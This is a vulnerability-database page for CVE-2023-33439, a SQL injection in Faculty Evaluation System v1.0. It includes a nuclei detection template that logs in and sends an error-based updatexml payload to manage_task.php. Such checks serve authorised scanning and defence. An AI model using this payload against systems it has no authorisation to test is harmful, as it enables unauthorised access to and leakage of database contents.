HexBrain

Browse / CVEs / CVE-2023-33439

CVE-2023-33439· faculty evaluation system project / faculty evaluation system· CWE-89

Faculty Evaluation System v1.0 - SQL Injection

highseverity
7.2CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_task.php?id=

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /ajax.php?action=login ; GET /admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+
Positive when: status_code == 200 and contains(body, "Fatal error:") and contains(body, "XPATH syntax error:")

Run it with nuclei: nuclei -id CVE-2023-33439 -u <target>

The full check
id: CVE-2023-33439

info:
  name: Faculty Evaluation System v1.0 - SQL Injection
  author: Harsh
  severity: high
  description: |
    Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_task.php?id=
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-1.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33439
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-33439
    cwe-id: CWE-89
    epss-score: 0.03307
    epss-percentile: 0.88648
    cpe: cpe:2.3:a:faculty_evaluation_system_project:faculty_evaluation_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: faculty_evaluation_system_project
    product: faculty_evaluation_system
  tags: cve,cve2023,sqli,faculty,authenticated,faculty_evaluation_system_project,vuln

http:
  - raw:
      - |
        POST /ajax.php?action=login HTTP/1.1
        Host:{{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        email={{username}}&password={{password}}&login=1
      - |
        GET /admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1
        Host:{{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Fatal error:")'
          - 'contains(body, "XPATH syntax error:")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from